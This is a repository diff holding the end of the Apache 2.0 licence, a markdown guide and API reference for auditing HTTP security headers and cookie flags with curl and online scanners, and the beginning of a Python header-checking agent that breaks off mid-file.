"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,325 @@
|
||||
---
|
||||
name: performing-security-headers-audit
|
||||
description: Auditing HTTP security headers including CSP, HSTS, X-Frame-Options,
|
||||
and cookie attributes to identify missing or misconfigured browser-level protections.
|
||||
domain: cybersecurity
|
||||
subdomain: web-application-security
|
||||
tags:
|
||||
- penetration-testing
|
||||
- security-headers
|
||||
- csp
|
||||
- hsts
|
||||
- owasp
|
||||
- web-security
|
||||
- hardening
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- PR.PS-01
|
||||
- ID.RA-01
|
||||
- PR.DS-10
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1190
|
||||
- T1059.007
|
||||
- T1505.003
|
||||
- T1083
|
||||
---
|
||||
|
||||
# Performing Security Headers Audit
|
||||
|
||||
## When to Use
|
||||
|
||||
- During authorized web application security assessments as a standard configuration review
|
||||
- When evaluating browser-level protections against XSS, clickjacking, and data leakage
|
||||
- For compliance assessments requiring security header implementation (PCI DSS, SOC 2)
|
||||
- When performing initial reconnaissance to identify easy-win security improvements
|
||||
- During CI/CD pipeline security gate checks for new deployments
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- **Authorization**: Written scope for the target application (header review is low-risk)
|
||||
- **curl**: For fetching response headers from target endpoints
|
||||
- **SecurityHeaders.com**: Online scanner for quick header assessment
|
||||
- **Mozilla Observatory**: Mozilla's web security testing tool
|
||||
- **Burp Suite**: For comprehensive header analysis across multiple pages
|
||||
- **Browser DevTools**: For examining headers and CSP violations in real-time
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Collect Security Headers from Target
|
||||
|
||||
Retrieve and catalog all security-related response headers.
|
||||
|
||||
```bash
|
||||
# Fetch all response headers
|
||||
curl -s -I "https://target.example.com/" | grep -iE \
|
||||
"(strict-transport|content-security|x-frame|x-content-type|x-xss|referrer-policy|permissions-policy|feature-policy|x-permitted|cross-origin|set-cookie|server|x-powered-by|cache-control)"
|
||||
|
||||
# Check headers across multiple pages
|
||||
PAGES=("/" "/login" "/api/health" "/admin" "/account/settings" "/static/app.js")
|
||||
|
||||
for page in "${PAGES[@]}"; do
|
||||
echo "=== $page ==="
|
||||
curl -s -I "https://target.example.com$page" 2>/dev/null | grep -iE \
|
||||
"(strict-transport|content-security|x-frame|x-content-type|x-xss|referrer-policy|permissions-policy|set-cookie|server|x-powered)"
|
||||
echo
|
||||
done
|
||||
|
||||
# Check both HTTP and HTTPS responses
|
||||
echo "=== HTTP Response ==="
|
||||
curl -s -I "http://target.example.com/" | head -20
|
||||
echo "=== HTTPS Response ==="
|
||||
curl -s -I "https://target.example.com/" | head -20
|
||||
```
|
||||
|
||||
### Step 2: Assess Transport Security (HSTS)
|
||||
|
||||
Evaluate HTTP Strict Transport Security configuration.
|
||||
|
||||
```bash
|
||||
# Check HSTS header
|
||||
curl -s -I "https://target.example.com/" | grep -i "strict-transport-security"
|
||||
|
||||
# Expected: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
|
||||
|
||||
# Verify HSTS attributes:
|
||||
# max-age: Should be >= 31536000 (1 year) for preload eligibility
|
||||
# includeSubDomains: Protects all subdomains
|
||||
# preload: Eligible for browser HSTS preload list
|
||||
|
||||
# Check if HTTP redirects to HTTPS
|
||||
curl -s -I "http://target.example.com/" | head -5
|
||||
# Should be 301/302 redirect to https://
|
||||
|
||||
# Check if HSTS is on the preload list
|
||||
# Visit: https://hstspreload.org/?domain=target.example.com
|
||||
|
||||
# Test for HTTPS-only cookies
|
||||
curl -s -I "https://target.example.com/login" | grep -i "set-cookie"
|
||||
# All session cookies should have Secure flag
|
||||
|
||||
# Check for mixed content
|
||||
curl -s "https://target.example.com/" | grep -oP "http://[^\"']+" | head -20
|
||||
# HTTP resources loaded on HTTPS pages create mixed content vulnerabilities
|
||||
```
|
||||
|
||||
### Step 3: Audit Content Security Policy (CSP)
|
||||
|
||||
Analyze CSP headers for effectiveness and potential bypasses.
|
||||
|
||||
```bash
|
||||
# Extract CSP header
|
||||
CSP=$(curl -s -I "https://target.example.com/" | grep -i "content-security-policy" | cut -d: -f2-)
|
||||
echo "$CSP"
|
||||
|
||||
# Check for dangerous directives:
|
||||
# 'unsafe-inline' in script-src: Allows inline scripts (XSS risk)
|
||||
# 'unsafe-eval' in script-src: Allows eval() (XSS risk)
|
||||
# * in any directive: Allows loading from any origin
|
||||
# data: in script-src: Allows data: URI scripts
|
||||
# Missing default-src: No fallback policy
|
||||
|
||||
echo "$CSP" | tr ';' '\n' | while read directive; do
|
||||
echo " $directive"
|
||||
if echo "$directive" | grep -q "unsafe-inline"; then
|
||||
echo " WARNING: unsafe-inline allows inline script execution"
|
||||
fi
|
||||
if echo "$directive" | grep -q "unsafe-eval"; then
|
||||
echo " WARNING: unsafe-eval allows eval() calls"
|
||||
fi
|
||||
if echo "$directive" | grep -q " \* "; then
|
||||
echo " WARNING: wildcard allows loading from any origin"
|
||||
fi
|
||||
done
|
||||
|
||||
# Check for CSP report-only (not enforcing)
|
||||
curl -s -I "https://target.example.com/" | grep -i "content-security-policy-report-only"
|
||||
# Report-only does NOT block violations, only logs them
|
||||
|
||||
# Test CSP with Google's evaluator
|
||||
# https://csp-evaluator.withgoogle.com/
|
||||
# Paste the CSP header for automated analysis
|
||||
|
||||
# Check for CSP bypass via whitelisted domains
|
||||
# If CDN domains are whitelisted, check for JSONP endpoints or angular libraries
|
||||
```
|
||||
|
||||
### Step 4: Check Frame Protection and Click Defense Headers
|
||||
|
||||
Verify anti-clickjacking and iframe embedding controls.
|
||||
|
||||
```bash
|
||||
# X-Frame-Options
|
||||
curl -s -I "https://target.example.com/" | grep -i "x-frame-options"
|
||||
# Expected: DENY or SAMEORIGIN
|
||||
# ALLOW-FROM is deprecated and not supported in modern browsers
|
||||
|
||||
# CSP frame-ancestors (supersedes X-Frame-Options)
|
||||
curl -s -I "https://target.example.com/" | grep -i "content-security-policy" | grep -o "frame-ancestors[^;]*"
|
||||
# Expected: frame-ancestors 'none' or frame-ancestors 'self'
|
||||
|
||||
# X-Content-Type-Options
|
||||
curl -s -I "https://target.example.com/" | grep -i "x-content-type-options"
|
||||
# Expected: nosniff (prevents MIME type sniffing)
|
||||
|
||||
# X-XSS-Protection (legacy, but still useful for older browsers)
|
||||
curl -s -I "https://target.example.com/" | grep -i "x-xss-protection"
|
||||
# Expected: 1; mode=block (or 0 if CSP is comprehensive)
|
||||
# Note: Modern recommendation is 0 (disable) when CSP is present
|
||||
|
||||
# Referrer-Policy
|
||||
curl -s -I "https://target.example.com/" | grep -i "referrer-policy"
|
||||
# Expected: strict-origin-when-cross-origin or no-referrer
|
||||
# Prevents sensitive URL data from leaking via Referer header
|
||||
```
|
||||
|
||||
### Step 5: Audit Cookie Security Attributes
|
||||
|
||||
Examine session and authentication cookies for security flags.
|
||||
|
||||
```bash
|
||||
# Fetch all Set-Cookie headers
|
||||
curl -s -I -L "https://target.example.com/login" | grep -i "set-cookie"
|
||||
|
||||
# Check each cookie for required attributes:
|
||||
# Secure: Only sent over HTTPS
|
||||
# HttpOnly: Not accessible via JavaScript (prevents XSS cookie theft)
|
||||
# SameSite: Controls cross-site cookie sending (Strict, Lax, None)
|
||||
# Path: Restricts cookie scope
|
||||
# Domain: Controls which domains receive the cookie
|
||||
# Max-Age/Expires: Cookie lifetime
|
||||
|
||||
# Automated cookie check
|
||||
curl -s -I "https://target.example.com/login" | grep -i "set-cookie" | while read line; do
|
||||
echo "Cookie: $(echo "$line" | grep -oP '[^:]+=[^;]+')"
|
||||
missing=""
|
||||
echo "$line" | grep -qi "secure" || missing="$missing Secure"
|
||||
echo "$line" | grep -qi "httponly" || missing="$missing HttpOnly"
|
||||
echo "$line" | grep -qi "samesite" || missing="$missing SameSite"
|
||||
if [ -n "$missing" ]; then
|
||||
echo " MISSING:$missing"
|
||||
else
|
||||
echo " All flags present"
|
||||
fi
|
||||
done
|
||||
|
||||
# Check for __Host- and __Secure- cookie prefixes
|
||||
# __Host- cookies must have Secure, Path=/, no Domain
|
||||
# __Secure- cookies must have Secure flag
|
||||
```
|
||||
|
||||
### Step 6: Check Permissions Policy and Information Disclosure
|
||||
|
||||
Review browser feature controls and information leakage headers.
|
||||
|
||||
```bash
|
||||
# Permissions-Policy (formerly Feature-Policy)
|
||||
curl -s -I "https://target.example.com/" | grep -i "permissions-policy"
|
||||
# Controls browser features: camera, microphone, geolocation, etc.
|
||||
# Expected: Restrict unused features
|
||||
# Example: permissions-policy: camera=(), microphone=(), geolocation=()
|
||||
|
||||
# Cross-Origin headers
|
||||
curl -s -I "https://target.example.com/" | grep -iE "(cross-origin-embedder|cross-origin-opener|cross-origin-resource)"
|
||||
# COEP: Cross-Origin-Embedder-Policy: require-corp
|
||||
# COOP: Cross-Origin-Opener-Policy: same-origin
|
||||
# CORP: Cross-Origin-Resource-Policy: same-origin
|
||||
|
||||
# Information disclosure headers to flag
|
||||
curl -s -I "https://target.example.com/" | grep -iE "(server|x-powered-by|x-aspnet|x-generator)"
|
||||
# Server: Apache/2.4.52 (should be removed or generic)
|
||||
# X-Powered-By: PHP/8.1.2 (should be removed)
|
||||
# These headers reveal technology stack to attackers
|
||||
|
||||
# Cache-Control for sensitive pages
|
||||
curl -s -I "https://target.example.com/account/settings" | grep -i "cache-control"
|
||||
# Sensitive pages should have: Cache-Control: no-store, no-cache, must-revalidate
|
||||
# Prevents browser caching of sensitive data
|
||||
|
||||
# Generate comprehensive report using online tools
|
||||
echo "Scan with SecurityHeaders.com: https://securityheaders.com/?q=target.example.com"
|
||||
echo "Scan with Mozilla Observatory: https://observatory.mozilla.org/analyze/target.example.com"
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Concept | Description |
|
||||
|---------|-------------|
|
||||
| **HSTS** | Forces browsers to only use HTTPS for the domain, preventing protocol downgrade attacks |
|
||||
| **CSP** | Restricts which resources (scripts, styles, images) can load on the page |
|
||||
| **X-Frame-Options** | Controls whether the page can be embedded in iframes (clickjacking defense) |
|
||||
| **X-Content-Type-Options** | Prevents MIME type sniffing; forces browser to respect declared Content-Type |
|
||||
| **Referrer-Policy** | Controls how much referrer information is sent with cross-origin requests |
|
||||
| **Permissions-Policy** | Restricts browser features (camera, microphone, geolocation) available to the page |
|
||||
| **SameSite Cookie** | Controls when cookies are sent in cross-site contexts (Strict, Lax, None) |
|
||||
| **HSTS Preloading** | Hardcoding HSTS policy in browser source code for first-visit protection |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| **SecurityHeaders.com** | Online scanner providing letter-grade security header assessment |
|
||||
| **Mozilla Observatory** | Comprehensive web security scanner with scoring and recommendations |
|
||||
| **CSP Evaluator (Google)** | Analyzes Content Security Policy for weaknesses and bypasses |
|
||||
| **Burp Suite Professional** | Inspecting response headers across all application pages |
|
||||
| **securityheaders (CLI)** | Command-line security header scanner |
|
||||
| **Hardenize** | TLS and security header monitoring service |
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario 1: Complete Header Absence
|
||||
A legacy application returns no security headers at all. No HSTS, CSP, X-Frame-Options, or cookie security flags. Every page is vulnerable to clickjacking, XSS has no browser-level mitigation, and cookies are sent over HTTP.
|
||||
|
||||
### Scenario 2: Weak CSP with unsafe-inline
|
||||
The CSP header includes `script-src 'self' 'unsafe-inline'`. While it restricts external script loading, the `unsafe-inline` directive allows any inline script to execute, rendering the CSP ineffective against XSS.
|
||||
|
||||
### Scenario 3: Session Cookie Without Secure Flag
|
||||
The session cookie is set without the `Secure` flag. On mixed HTTP/HTTPS sites, the session token can be intercepted by a network attacker via a plain HTTP request.
|
||||
|
||||
### Scenario 4: Missing HSTS Enabling SSL Stripping
|
||||
No HSTS header is present. An attacker on the network can perform an SSL stripping attack, downgrading the victim's HTTPS connection to HTTP and intercepting all traffic.
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
## Security Headers Audit Report
|
||||
|
||||
**Target**: target.example.com
|
||||
**Grade**: D (SecurityHeaders.com)
|
||||
**Assessment Date**: 2024-01-15
|
||||
|
||||
### Headers Assessment
|
||||
| Header | Status | Current Value | Recommended |
|
||||
|--------|--------|---------------|-------------|
|
||||
| Strict-Transport-Security | MISSING | - | max-age=31536000; includeSubDomains; preload |
|
||||
| Content-Security-Policy | WEAK | script-src 'self' 'unsafe-inline' | script-src 'self' 'nonce-{random}' |
|
||||
| X-Frame-Options | MISSING | - | DENY |
|
||||
| X-Content-Type-Options | PRESENT | nosniff | nosniff (OK) |
|
||||
| Referrer-Policy | MISSING | - | strict-origin-when-cross-origin |
|
||||
| Permissions-Policy | MISSING | - | camera=(), microphone=(), geolocation=() |
|
||||
| X-XSS-Protection | MISSING | - | 0 (with strong CSP) |
|
||||
|
||||
### Cookie Security
|
||||
| Cookie | Secure | HttpOnly | SameSite | Path |
|
||||
|--------|--------|----------|----------|------|
|
||||
| session | NO | YES | Not set | / |
|
||||
| user_pref | NO | NO | Not set | / |
|
||||
| csrf_token | YES | NO | Strict | / |
|
||||
|
||||
### Information Disclosure
|
||||
| Header | Value | Risk |
|
||||
|--------|-------|------|
|
||||
| Server | Apache/2.4.52 | Technology fingerprinting |
|
||||
| X-Powered-By | PHP/8.1.2 | Version-specific exploit targeting |
|
||||
|
||||
### Recommendation Priority
|
||||
1. **Critical**: Add Secure and SameSite flags to session cookie
|
||||
2. **High**: Implement HSTS with min 1-year max-age
|
||||
3. **High**: Replace 'unsafe-inline' in CSP with nonce-based policy
|
||||
4. **Medium**: Add X-Frame-Options: DENY
|
||||
5. **Medium**: Add Referrer-Policy: strict-origin-when-cross-origin
|
||||
6. **Low**: Remove Server and X-Powered-By version information
|
||||
7. **Low**: Add Permissions-Policy to restrict unused browser features
|
||||
```
|
||||
@@ -0,0 +1,44 @@
|
||||
# API Reference: Security Headers Audit
|
||||
|
||||
## Security Headers Checked
|
||||
|
||||
| Header | Recommended Value | Purpose |
|
||||
|--------|------------------|---------|
|
||||
| `Strict-Transport-Security` | `max-age=31536000; includeSubDomains; preload` | Force HTTPS |
|
||||
| `Content-Security-Policy` | `script-src 'self' 'nonce-{random}'` | Restrict resource loading |
|
||||
| `X-Frame-Options` | `DENY` | Prevent clickjacking |
|
||||
| `X-Content-Type-Options` | `nosniff` | Prevent MIME sniffing |
|
||||
| `Referrer-Policy` | `strict-origin-when-cross-origin` | Control referrer leakage |
|
||||
| `Permissions-Policy` | `camera=(), microphone=(), geolocation=()` | Restrict browser features |
|
||||
|
||||
## Cookie Security Attributes
|
||||
|
||||
| Attribute | Description |
|
||||
|-----------|-------------|
|
||||
| `Secure` | Only send over HTTPS |
|
||||
| `HttpOnly` | Not accessible via JavaScript |
|
||||
| `SameSite=Strict` | No cross-site cookie sending |
|
||||
| `Path=/` | Restrict cookie scope |
|
||||
|
||||
## Online Scanners
|
||||
|
||||
| Tool | URL | Description |
|
||||
|------|-----|-------------|
|
||||
| SecurityHeaders.com | https://securityheaders.com/ | Letter-grade assessment |
|
||||
| Mozilla Observatory | https://observatory.mozilla.org/ | Comprehensive scoring |
|
||||
| CSP Evaluator | https://csp-evaluator.withgoogle.com/ | CSP weakness analysis |
|
||||
| Hardenize | https://www.hardenize.com/ | TLS and header monitoring |
|
||||
|
||||
## Python Libraries
|
||||
|
||||
| Library | Version | Purpose |
|
||||
|---------|---------|---------|
|
||||
| `requests` | >=2.28 | Fetch HTTP response headers |
|
||||
| `re` | stdlib | Parse CSP directives and HSTS values |
|
||||
|
||||
## References
|
||||
|
||||
- OWASP Secure Headers: https://owasp.org/www-project-secure-headers/
|
||||
- MDN Security Headers: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers
|
||||
- HSTS Preload: https://hstspreload.org/
|
||||
- CSP reference: https://content-security-policy.com/
|
||||
@@ -0,0 +1,276 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for performing security headers audit.
|
||||
|
||||
Analyzes HTTP response headers for HSTS, CSP, X-Frame-Options,
|
||||
cookie security attributes, and information disclosure to identify
|
||||
missing or misconfigured browser-level protections.
|
||||
"""
|
||||
|
||||
import requests
|
||||
import json
|
||||
import sys
|
||||
import re
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
class SecurityHeadersAgent:
|
||||
"""Audits HTTP security headers on web applications."""
|
||||
|
||||
def __init__(self, target_url):
|
||||
self.target_url = target_url
|
||||
if not target_url.startswith("http"):
|
||||
self.target_url = f"https://{target_url}"
|
||||
self.session = requests.Session()
|
||||
self.session.verify = True
|
||||
|
||||
def fetch_headers(self, path="/"):
|
||||
"""Fetch response headers from a target path."""
|
||||
url = f"{self.target_url.rstrip('/')}{path}"
|
||||
try:
|
||||
resp = self.session.get(url, timeout=10, allow_redirects=True)
|
||||
return {
|
||||
"url": url,
|
||||
"status": resp.status_code,
|
||||
"headers": dict(resp.headers),
|
||||
"cookies": [
|
||||
{"name": c.name, "value": c.value[:20], "attributes": {
|
||||
"secure": c.secure, "httponly": "httponly" in c._rest,
|
||||
"samesite": c._rest.get("SameSite", c._rest.get("samesite", "Not set")),
|
||||
"path": c.path, "domain": c.domain,
|
||||
}} for c in resp.cookies
|
||||
],
|
||||
}
|
||||
except requests.RequestException as e:
|
||||
return {"url": url, "error": str(e)}
|
||||
|
||||
def check_hsts(self, headers):
|
||||
"""Check HTTP Strict Transport Security configuration."""
|
||||
hsts = headers.get("Strict-Transport-Security", headers.get("strict-transport-security", ""))
|
||||
finding = {
|
||||
"header": "Strict-Transport-Security",
|
||||
"present": bool(hsts),
|
||||
"value": hsts,
|
||||
"severity": "High" if not hsts else "Info",
|
||||
}
|
||||
if hsts:
|
||||
finding["has_includeSubDomains"] = "includesubdomains" in hsts.lower()
|
||||
finding["has_preload"] = "preload" in hsts.lower()
|
||||
max_age_match = re.search(r"max-age=(\d+)", hsts)
|
||||
if max_age_match:
|
||||
max_age = int(max_age_match.group(1))
|
||||
finding["max_age"] = max_age
|
||||
finding["max_age_sufficient"] = max_age >= 31536000
|
||||
if max_age < 31536000:
|
||||
finding["severity"] = "Medium"
|
||||
finding["recommendation"] = "Increase max-age to at least 31536000 (1 year)"
|
||||
else:
|
||||
finding["recommendation"] = "Add: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload"
|
||||
return finding
|
||||
|
||||
def check_csp(self, headers):
|
||||
"""Analyze Content Security Policy for weaknesses."""
|
||||
csp = headers.get("Content-Security-Policy", headers.get("content-security-policy", ""))
|
||||
report_only = headers.get("Content-Security-Policy-Report-Only", "")
|
||||
|
||||
finding = {
|
||||
"header": "Content-Security-Policy",
|
||||
"present": bool(csp),
|
||||
"value": csp[:500] if csp else "",
|
||||
"report_only": bool(report_only),
|
||||
"severity": "High" if not csp else "Info",
|
||||
"issues": [],
|
||||
}
|
||||
|
||||
if csp:
|
||||
if "'unsafe-inline'" in csp:
|
||||
finding["issues"].append("unsafe-inline allows inline script execution (XSS risk)")
|
||||
finding["severity"] = "High"
|
||||
if "'unsafe-eval'" in csp:
|
||||
finding["issues"].append("unsafe-eval allows eval() calls (XSS risk)")
|
||||
finding["severity"] = "High"
|
||||
if " * " in f" {csp} " or csp.strip().endswith("*"):
|
||||
finding["issues"].append("Wildcard (*) allows loading from any origin")
|
||||
finding["severity"] = "Medium"
|
||||
if "default-src" not in csp:
|
||||
finding["issues"].append("Missing default-src fallback directive")
|
||||
if report_only and not csp:
|
||||
finding["issues"].append("CSP is report-only, not enforcing")
|
||||
finding["severity"] = "Medium"
|
||||
else:
|
||||
finding["recommendation"] = "Implement Content-Security-Policy with script-src using nonces"
|
||||
|
||||
return finding
|
||||
|
||||
def check_frame_options(self, headers):
|
||||
"""Check X-Frame-Options and frame-ancestors."""
|
||||
xfo = headers.get("X-Frame-Options", headers.get("x-frame-options", ""))
|
||||
csp = headers.get("Content-Security-Policy", "")
|
||||
frame_ancestors = ""
|
||||
if "frame-ancestors" in csp:
|
||||
match = re.search(r"frame-ancestors\s+([^;]+)", csp)
|
||||
if match:
|
||||
frame_ancestors = match.group(1).strip()
|
||||
|
||||
finding = {
|
||||
"header": "X-Frame-Options",
|
||||
"present": bool(xfo),
|
||||
"value": xfo,
|
||||
"frame_ancestors": frame_ancestors,
|
||||
"severity": "Medium" if not xfo and not frame_ancestors else "Info",
|
||||
}
|
||||
if not xfo and not frame_ancestors:
|
||||
finding["recommendation"] = "Add X-Frame-Options: DENY or CSP frame-ancestors 'none'"
|
||||
return finding
|
||||
|
||||
def check_content_type_options(self, headers):
|
||||
"""Check X-Content-Type-Options."""
|
||||
xcto = headers.get("X-Content-Type-Options", headers.get("x-content-type-options", ""))
|
||||
return {
|
||||
"header": "X-Content-Type-Options",
|
||||
"present": bool(xcto),
|
||||
"value": xcto,
|
||||
"correct": xcto.lower() == "nosniff" if xcto else False,
|
||||
"severity": "Medium" if not xcto else "Info",
|
||||
"recommendation": "Add: X-Content-Type-Options: nosniff" if not xcto else None,
|
||||
}
|
||||
|
||||
def check_referrer_policy(self, headers):
|
||||
"""Check Referrer-Policy."""
|
||||
rp = headers.get("Referrer-Policy", headers.get("referrer-policy", ""))
|
||||
return {
|
||||
"header": "Referrer-Policy",
|
||||
"present": bool(rp),
|
||||
"value": rp,
|
||||
"severity": "Medium" if not rp else "Info",
|
||||
"recommendation": "Add: Referrer-Policy: strict-origin-when-cross-origin" if not rp else None,
|
||||
}
|
||||
|
||||
